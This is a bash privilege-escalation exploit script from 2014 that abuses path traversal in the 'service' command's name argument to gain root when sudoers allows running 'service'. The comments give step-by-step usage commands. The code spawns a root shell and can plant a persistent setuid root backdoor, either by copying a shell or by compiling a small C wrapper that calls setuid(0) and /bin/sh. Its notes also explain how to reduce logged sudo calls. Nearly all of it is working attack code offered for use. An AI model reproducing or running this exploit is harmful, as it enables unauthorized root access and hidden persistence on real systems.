#!/usr/bin/env bash ################### ################################################## # sususudio.sh by xt [april 2014] # sudoers-allowing-"service"-program exploit; tested on Ubuntu/Debian, RHEL/CentOS. Probably works on others. # Leverage /sbin/service (RHEL/CentOS), /usr/sbin/service (Debian/Ubuntu), [and others?] to get root when allowed to run under sudoers! ############## # # Personal note: this is way too much work for something so simple, and I despise script kiddies. So why'd I make this so easy? I was bored, there, # that's my justification! # # This script is for when you get a NOC monkey/limited staff account that is allowed to use sudo with 'service' but not much else helpful... # For instance, sudoers might look like: # # ... sudoers file scheisse ... # %staff ALL=NOPASSWD: /sbin/service * # %staff ALL=NOPASSWD: /usr/bin/du # .. ls, tail, df, top, more, lsof, tcpdump (although if compiled/configured right it could get you root), etc etc .. # <snip snip> # # There's not a lot you can do. Everyone knows they can leverage vi, less, etc. # Did you know know you could leverage 'service' into a root shell? I didn't know until I was desperate on a hostile network one day and needed # to root them, fast. (Of course this was strictly white-hat AJAX web 2.0 cross-site Heartbleed pen-test CEH certified Wireshark permitted hacking). # # The "bug" (or feature?): 'service' doesn't sanitize the user-supplied service name, allowing you to provide a service script out of /etc/init[.d] etc. # Basically the 'service' program checks for the existance of the service file in /etc/init.d/<service name>. It doesn't prevent anyone from escaping # to the higher level via ../ and the check is simple (bash script test -x) so it is easily bypassed with a service name containing ../. # This will expand out, on my Debian system's case, for example to /etc/init.d/../../tmp/sususudio.sh which is, of course, /tmp/sususudio.sh. # # TL;dr: # You can run any script you want as root as long as sudoers permits your user/group to run service. This program (sususudio) makes it e-z pee-zee # and is script-kiddie friendly! ############## # # USAGE: # ------ # First, check that you have the privilege (sudo -l might not always work properly): # $ sudo -l | grep service # (root) NOPASSWD: /usr/sbin/service * # ### Alright, now we know we can exploit it. # # $ mv sususudio.sh /tmp/service && chmod +x /tmp/service # $ sudo service ../../../../../../../tmp/service start # # whoami # root # ### Cha-ching! # # CONFIGURATION: # -------------- # # By default, we use the default shell method with no copy/setuid. You really should read the options below and configure it so that # the sudo program doesn't have to be run (and thus, verbose and loud and possibly remotely logged) more than once. # # SETUIDPROG: If anything but blank a setuid/gid/setreuid/gid shell wrapper will be compiled and setuid bit set in path SUIDPATH. (Requires gcc or clang) # # REWTSHELL: If using the default shell method, this is the location of the shell to run (and copy, if SUIDPATH is set). # # SUIDPATH: if not empty, then path to where SETUIDPROG method or default shell method should create its persistent setuid backdoor binary. This # should reside on a filesystem that is not noexec or nosuid (check mount or fstab). # # CHECK_FOR_SUIDPATH: checks to see if SUIDPATH binary already exists and if so offers to run it instead of running the exploit again. I really # don't know why I included this at all. # # It is recommend to set SUIDPATH so that you must not call "sudo service" every time. # # NOTES: # ------ # bash, csh and tcsh do NOT work as compatible shells so do not use them as REWTSHELL. Compatible (as I know of) shells are: # ash, dash, tclsh, zsh, fish, ksh # The script automatically checks for these. # # If the error "unrecognized service" pops up, make sure you have chmod +x'd the script and that the filesystem the script resides on is not noexec. # ################################# # authored by xt in april 2014 ################################# # Enable this to create our own set[ug]id/setre[ug]id wrapper instead of depending on a shell on the machine. Requires gcc or clang. Set blank # to disable it or to 1 to enable it. SETUIDPROG= # Location to create our setuid wrapper or shell. Path should be somewhere that is noexec and not nosuid (check mount) # If left blank, then the default shell method will be used and the shell copy / setuid will not be made. SUIDPATH= # If not using SETUIDPROG (default shell mode), then set to full path to the shell you want to use; must NOT be gcc, tcsh or csh. # If blank (default) the script will find one for you. REWTSHELL= # Check if SUIDPATH already exists and offer to run it if set. CHECK_FOR_SUIDPATH= ####################################################################### # See if our file already exists, and is setuid if [[ -n $CHECK_FOR_SUIDPATH ]]; then if [[ -n $SUIDPATH ]]; then if [[ -u $SUIDPATH ]]; then echo "Root shell $SUIDPATH already exists; run? Please verify file information below." ls -l $SUIDPATH file $SUIDPATH echo read -p "Would you like to run $SUIDPATH ? (Y)/n " -n 1 yayornay case "$yayornay" in y|Y ) echo; $SUIDPATH; exit;; * ) echo "Okay, running exploit as usual.";; esac fi fi fi # Sanity checks if [ `whoami` != "root" ]; then echo "This program is meant to run as root under sudo. It cannot hack this Gibson if ran as your current user, `whoami`." exit fi if [[ -n $SETUIDPROG ]]; then if [[ -z $SUIDPATH ]]; then echo "If SETUIDPROG is set, then SUIDPATH must also be set." exit fi fi # See if we can find a compiler for use with our setuid wrapper. if [[ -n "$SETUIDPROG" ]]; then if which gcc >/dev/null; then COMPILER=`which gcc` elif which clang >/dev/null ; then COMPILER=`which clang` else echo -n "No valid compiler found; defaulting to shell method " if [[ -z "$SUIDPATH" ]]; then echo "(persistent file will NOT be created)." else echo "(persistent file $SUIDPATH will be created)." fi SETUIDPROG="" fi fi if [[ -z "$SETUIDPROG" ]]; then # Find a suitable/compatible shell if [[ -z "$REWTSHELL" ]]; then if which zsh >/dev/null; then REWTSHELL=`which zsh` elif which dash >/dev/null; then REWTSHELL=`which dash` elif which ash >/dev/null; then REWTSHELL=`which ash` elif which ksh >/dev/null; then REWTSHELL=`which ksh` elif which tclsh >/dev/null; then REWTSHELL=`which tclsh` elif which fish >/dev/null; then REWTSHELL=`which fish` else echo "Cannot find a valid shell that works with setuid flag." echo "Try specifying one in REWTSHELL or enable SETUIDPROG." exit fi # if which .. fi # REWTSHELL if [[ -n "$SUIDPATH" ]]; then cp -f $REWTSHELL $SUIDPATH chown 0 $SUIDPATH chgrp 0 $SUIDPATH chmod u+s $SUIDPATH echo "You (should be able to/can) get root access again by running $SUIDPATH" echo "At the prompt, type 'id' and check for (e)uid / (e)gid to be 0." $SUIDPATH else echo "Launching compatible shell $REWTSHELL" echo "At the prompt, Type 'id' and check for (e)uid / (e)gid to be 0." $REWTSHELL fi else TEMPDIRNAME=`dirname $SUIDPATH` cat > $TEMPDIRNAME/.americanpsycho.c <<__EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> int main(void){setuid(0);setgid(0);setreuid(0,0);setregid(0,0);system("/bin/sh");exit(0);} __EOF $COMPILER -o $SUIDPATH $TEMPDIRNAME/.americanpsycho.c if [[ ! -x $SUIDPATH ]]; then echo "Unable to compile to executable binary $SUIDPATH - try with SETUIDPROG disabled." rm -rf $TEMPDIRNAME/.americanpsycho.c exit fi rm -f $TEMPDIRNAME/.americanpsycho.c chown 0 $SUIDPATH chgrp 0 $SUIDPATH chmod u+s $SUIDPATH if [[ ! -u $SUIDPATH ]]; then echo "For some reason (nosuid?), unable to set setuid bit on $SUIDPATH - try with SETUIDPROG disabled." exit fi echo "You (should be able to/can) get root access again by running $SUIDPATH" echo "At the prompt, type 'id' and check for (e)uid / (e)gid to be 0." $SUIDPATH fi # SETUIDPROG